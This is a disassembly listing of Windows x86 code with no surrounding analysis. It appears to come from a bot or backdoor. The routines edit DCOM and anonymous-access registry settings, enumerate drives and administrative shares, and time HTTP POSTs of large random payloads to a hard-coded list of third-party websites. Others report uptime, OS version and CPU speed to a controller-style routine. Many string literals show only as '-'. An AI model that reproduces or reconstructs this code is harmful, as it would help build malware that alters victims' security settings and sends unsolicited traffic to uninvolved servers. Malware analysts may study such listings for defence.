loc_41A032:				; CODE XREF: sub_419E7A+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6C
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A049
		push	offset dword_43A1D4
		jmp	short loc_41A04E
; ---------------------------------------------------------------------------


loc_41A049:				; CODE XREF: sub_419E7A+1C6j
		push	offset asc_43A1A8 ; "-"


loc_41A04E:				; CODE XREF: sub_419E7A+1CDj
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A081
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_41A081:				; CODE XREF: sub_419E7A+1EBj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_43A0E0
		jb	short loc_41A032
		jmp	loc_41A136
; ---------------------------------------------------------------------------


loc_41A09E:				; CODE XREF: sub_419E7A+1AAj
					; sub_419E7A+1B1j
		mov	esi, dword ptr [ebp+Str]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12D


loc_41A0AD:				; CODE XREF: sub_419E7A+2AFj
		mov	edi, [esi]
		push	edi		; Str
		call	_wcslen
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A122
		push	edi
		call	sub_418B59
		push	eax
		push	0
		call	sub_418C6C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DC
		push	offset dword_43A184
		jmp	short loc_41A0E1
; ---------------------------------------------------------------------------


loc_41A0DC:				; CODE XREF: sub_419E7A+259j
		push	offset asc_43A158 ; "-"


loc_41A0E1:				; CODE XREF: sub_419E7A+260j
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A115
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_41A115:				; CODE XREF: sub_419E7A+27Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A122:				; CODE XREF: sub_419E7A+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AD
		xor	edi, edi


loc_41A12D:				; CODE XREF: sub_419E7A+22Dj
		push	dword ptr [ebp+Str]
		call	dword_4CB6E4


loc_41A136:				; CODE XREF: sub_419E7A+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A001
		lea	eax, [ebp+Dest]
		push	offset asc_43A130 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16C
; ---------------------------------------------------------------------------


loc_41A159:				; CODE XREF: sub_419E7A+177j
		lea	eax, [ebp+Dest]
		push	offset asc_43A100 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41A16C:				; CODE XREF: sub_419E7A+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A18A
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_41A18A:				; CODE XREF: sub_419E7A+2F5j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19E	proc near		; CODE XREF: sub_419E1A:loc_419E61p

Dest		= byte ptr -220h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
Str		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB724, ebx
		push	esi
		jnz	loc_41A2CC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A229
		mov	ax, word_438E5C
		mov	word ptr [ebp+Str+2], ax
		lea	eax, [ebp+Str+2]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A20B
		push	offset dword_43A4B0
		jmp	short loc_41A210
; ---------------------------------------------------------------------------


loc_41A20B:				; CODE XREF: sub_41A19E+64j
		push	offset asc_43A494 ; "-"


loc_41A210:				; CODE XREF: sub_41A19E+6Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630	; RegCloseKey
		jmp	short loc_41A23C
; ---------------------------------------------------------------------------


loc_41A229:				; CODE XREF: sub_41A19E+36j
		lea	eax, [ebp+Dest]
		push	offset asc_43A2E8 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41A23C:				; CODE XREF: sub_41A19E+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25B
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_41A25B:				; CODE XREF: sub_41A19E+A1j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A2C5
		lea	eax, [ebp+Str]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	dword ptr [ebp+Str], ebx
		call	dword_4CB678	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A2A7
		push	offset dword_43A454
		jmp	short loc_41A2AC
; ---------------------------------------------------------------------------


loc_41A2A7:				; CODE XREF: sub_41A19E+100j
		push	offset asc_43A41C ; "-"


loc_41A2AC:				; CODE XREF: sub_41A19E+107j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630	; RegCloseKey
		jmp	short loc_41A2DF
; ---------------------------------------------------------------------------


loc_41A2C5:				; CODE XREF: sub_41A19E+E2j
		push	offset dword_43A3E0
		jmp	short loc_41A2D1
; ---------------------------------------------------------------------------


loc_41A2CC:				; CODE XREF: sub_41A19E+13j
		push	offset asc_43A1F8 ; "-"


loc_41A2D1:				; CODE XREF: sub_41A19E+12Cj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41A2DF:				; CODE XREF: sub_41A19E+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FE
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_41A2FE:				; CODE XREF: sub_41A19E+144j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, ebx
		pop	ecx
		jnz	loc_41A473
		push	edi
		mov	esi, offset off_43A0C0
		mov	edi, 200h


loc_41A322:				; CODE XREF: sub_41A19E+1E9j
		push	dword ptr [esi+4] ; int
		push	dword ptr [esi]	; Str
		push	ebx		; int
		call	sub_418BC0
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33D
		push	offset dword_43A3C0
		jmp	short loc_41A342
; ---------------------------------------------------------------------------


loc_41A33D:				; CODE XREF: sub_41A19E+196j
		push	offset asc_43A398 ; "-"


loc_41A342:				; CODE XREF: sub_41A19E+19Dj
		lea	eax, [ebp+Dest]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A371
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_41A371:				; CODE XREF: sub_41A19E+1B7j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0D0
		jb	short loc_41A322
		call	ds:dword_427190	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45B


loc_41A39C:				; CODE XREF: sub_41A19E+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A450
		cmp	bl, 41h
		jz	loc_41A450
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC	; "%c:\\"
		push	0Ah		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB6B4	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41A450
		lea	eax, [ebp+var_20]
		push	eax		; int
		lea	eax, [ebp+var_14]
		push	eax		; Str
		push	0		; int
		call	sub_418BC0
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40E
		push	offset dword_43A3C0
		jmp	short loc_41A413
; ---------------------------------------------------------------------------


loc_41A40E:				; CODE XREF: sub_41A19E+267j
		push	offset asc_43A398 ; "-"


loc_41A413:				; CODE XREF: sub_41A19E+26Ej
		lea	eax, [ebp+Dest]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A443
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_41A443:				; CODE XREF: sub_41A19E+289j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A450:				; CODE XREF: sub_41A19E+206j
					; sub_41A19E+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39C


loc_41A45B:				; CODE XREF: sub_41A19E+1F8j
		lea	eax, [ebp+Dest]
		push	offset asc_43A368 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A486
; ---------------------------------------------------------------------------


loc_41A473:				; CODE XREF: sub_41A19E+173j
		lea	eax, [ebp+Dest]
		push	offset asc_43A100 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41A486:				; CODE XREF: sub_41A19E+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A4
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_41A4A4:				; CODE XREF: sub_41A19E+2EBj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B8	proc near		; CODE XREF: sub_41A6AF+CBp
					; sub_41A6AF+DDp ...

arg_0		= dword	ptr  4

		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	_rand
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A4D2(char *Str)

sub_41A4D2	proc near		; CODE XREF: sub_41A6AF+D4p
					; sub_41A6AF+E6p ...

var_38		= dword	ptr -38h
Dst		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Source		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	_strlen
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AB
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	[ebp+Str]
		mov	[ebp+Dst], 2
		call	sub_40AAFA
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AB
		push	50h
		call	dword_4CB654	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB6D4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AB
		lea	ecx, [ebp+Dst]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB5FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AB
		push	32003h		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		mov	edi, ds:dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+Source], ebx
		call	edi	; GetTickCount
		push	eax		; Size
		call	sub_41B8D8
		call	_rand
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0		; Val
		push	ebx		; Dst
		movsx	esi, dl
		call	_memset
		push	32000h		; Size
		push	esi		; Val
		push	ebx		; Dst
		call	_memset
		push	ebx		; Str
		call	_strlen
		push	323EAh		; unsigned int
		mov	ebx, eax
		call	??2@YAPAXI@Z	; operator new(uint)
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+Str]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi		; Dest
		call	_sprintf
		push	[ebp+Source]	; Source
		push	esi		; Dest
		call	_strcat
		push	offset asc_433F14 ; "\r\n"
		push	esi		; Dest
		call	_strcat
		push	esi		; Str
		call	_strlen
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+Str], eax
		jbe	short loc_41A62B
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FB
; ---------------------------------------------------------------------------


loc_41A5F8:				; CODE XREF: sub_41A4D2+157j
		mov	eax, [ebp+Str]


loc_41A5FB:				; CODE XREF: sub_41A4D2+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60B
		push	[ebp+var_C]
		jmp	short loc_41A60C
; ---------------------------------------------------------------------------


loc_41A60B:				; CODE XREF: sub_41A4D2+132j
		push	ebx


loc_41A60C:				; CODE XREF: sub_41A4D2+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB6A4	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A692
		add	[ebp+Str], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+Str]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F8


loc_41A62B:				; CODE XREF: sub_41A4D2+11Aj
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	ds:flt_42770C
		fst	[ebp+Str]
		fcomp	ds:flt_427708
		fnstsw	ax
		sahf
		jnz	short loc_41A653
		fld1
		fstp	[ebp+Str]


loc_41A653:				; CODE XREF: sub_41A4D2+17Aj
		push	[ebp+var_4]
		call	dword_4CB6EC	; closesocket
		push	[ebp+Source]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+Str]
		fmul	ds:flt_427704
		fmul	ds:flt_427700
		call	__ftol


loc_41A68D:				; CODE XREF: sub_41A4D2+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A692:				; CODE XREF: sub_41A4D2+149j
		push	[ebp+var_4]
		call	dword_4CB6EC	; closesocket
		push	[ebp+Source]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AB:				; CODE XREF: sub_41A4D2+19j
					; sub_41A4D2+42j ...
		xor	eax, eax
		jmp	short loc_41A68D
sub_41A4D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A6AF(int,char *Str,int)

sub_41A6AF	proc near		; CODE XREF: sub_401ACD+2E62p

Dest		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C] ; Str
		call	sub_41A4D2
		push	8
		mov	esi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C] ; Str
		call	sub_41A4D2
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7B0
		test	eax, eax
		jz	short loc_41A7AC
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7AC:				; CODE XREF: sub_41A6AF+F4j
		mov	ebx, esi
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7B0:				; CODE XREF: sub_41A6AF+F0j
		mov	ebx, eax


loc_41A7B2:				; CODE XREF: sub_41A6AF+FBj
					; sub_41A6AF+FFj
		push	0Ch
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C] ; Str
		call	sub_41A4D2
		push	0Ch
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C] ; Str
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7EA
		test	eax, eax
		jz	short loc_41A7E6
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7E6:				; CODE XREF: sub_41A6AF+12Ej
		mov	esi, edi
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7EA:				; CODE XREF: sub_41A6AF+12Aj
		mov	esi, eax


loc_41A7EC:				; CODE XREF: sub_41A6AF+135j
					; sub_41A6AF+139j
		push	6
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C] ; Str
		call	sub_41A4D2
		push	6
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C] ; Str
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A824
		test	eax, eax
		jz	short loc_41A820
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A820:				; CODE XREF: sub_41A6AF+168j
		mov	ecx, edi
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A824:				; CODE XREF: sub_41A6AF+164j
		mov	ecx, eax


loc_41A826:				; CODE XREF: sub_41A6AF+16Fj
					; sub_41A6AF+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A833
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A836
; ---------------------------------------------------------------------------


loc_41A833:				; CODE XREF: sub_41A6AF+17Bj
		push	2
		pop	edi


loc_41A836:				; CODE XREF: sub_41A6AF+182j
		test	esi, esi
		jz	short loc_41A83E
		add	eax, esi
		jmp	short loc_41A83F
; ---------------------------------------------------------------------------


loc_41A83E:				; CODE XREF: sub_41A6AF+189j
		dec	edi


loc_41A83F:				; CODE XREF: sub_41A6AF+18Dj
		test	ecx, ecx
		jz	short loc_41A847
		add	eax, ecx
		jmp	short loc_41A848
; ---------------------------------------------------------------------------


loc_41A847:				; CODE XREF: sub_41A6AF+192j
		dec	edi


loc_41A848:				; CODE XREF: sub_41A6AF+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+Dest]
		push	offset asc_43A508 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88C	proc near		; CODE XREF: sub_401ACD+25A1p
					; sub_401ACD+2A11p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset byte_4DB920
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F5	proc near		; CODE XREF: sub_416F1B+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	ds:dword_4270C8	; GetVersionExA
		test	eax, eax
		jz	short loc_41A988
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95E
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A946
		cmp	[ebp+var_84], 1
		jnz	short loc_41A939
		push	1
		pop	esi


loc_41A939:				; CODE XREF: sub_41A8F5+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A988
		push	1
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A946:				; CODE XREF: sub_41A8F5+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A953


loc_41A94F:				; CODE XREF: sub_41A8F5+78j
		push	2
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A953:				; CODE XREF: sub_41A8F5+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A988
		jmp	short loc_41A978
; ---------------------------------------------------------------------------


loc_41A95E:				; CODE XREF: sub_41A8F5+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A988
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94F
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97C


loc_41A978:				; CODE XREF: sub_41A8F5+67j
		push	3
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A97C:				; CODE XREF: sub_41A8F5+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A988
		push	7


loc_41A987:				; CODE XREF: sub_41A8F5+4Fj
					; sub_41A8F5+5Cj ...
		pop	esi


loc_41A988:				; CODE XREF: sub_41A8F5+25j
					; sub_41A8F5+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98D	proc near		; CODE XREF: sub_41AA43+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A995:				; CODE XREF: sub_41A98D+2Fj
					; sub_41A98D+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_427078	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	__aulldiv
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A995
		jb	short loc_41A9C4
		cmp	ebx, esi
		ja	short loc_41A995


loc_41A9C4:				; CODE XREF: sub_41A98D+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	__aullrem
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA37
		jb	short loc_41A9E3
		cmp	esi, 50h
		jnb	short loc_41A9E8


loc_41A9E3:				; CODE XREF: sub_41A98D+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E8:				; CODE XREF: sub_41A98D+54j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41A9F3
		cmp	esi, 47h
		jnb	short loc_41A9F8


loc_41A9F3:				; CODE XREF: sub_41A98D+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F8:				; CODE XREF: sub_41A98D+64j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA03
		cmp	esi, 37h
		jnb	short loc_41AA08


loc_41AA03:				; CODE XREF: sub_41A98D+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA08:				; CODE XREF: sub_41A98D+74j
		test	ecx, ecx
